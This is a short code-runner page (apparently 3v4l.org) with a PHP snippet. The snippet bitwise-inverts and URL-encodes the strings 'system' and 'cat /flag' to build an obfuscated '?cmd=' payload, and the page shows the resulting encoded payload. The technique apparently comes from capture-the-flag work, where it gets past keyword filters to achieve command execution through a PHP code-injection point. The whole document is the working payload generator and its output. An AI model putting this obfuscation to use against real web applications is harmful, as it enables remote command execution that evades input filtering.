3v4l.org

run code in 300+ PHP versions simultaneously
<?php $a = "system"; $b = "cat /flag"; $c = urlencode(~$a); $d = urlencode(~$b); //输出得到取反传参内容 echo "?cmd=(~".$c.")(~".$d.");" ?>
Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.7
?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
preferences:
81.69 ms | 402 KiB | 61 Q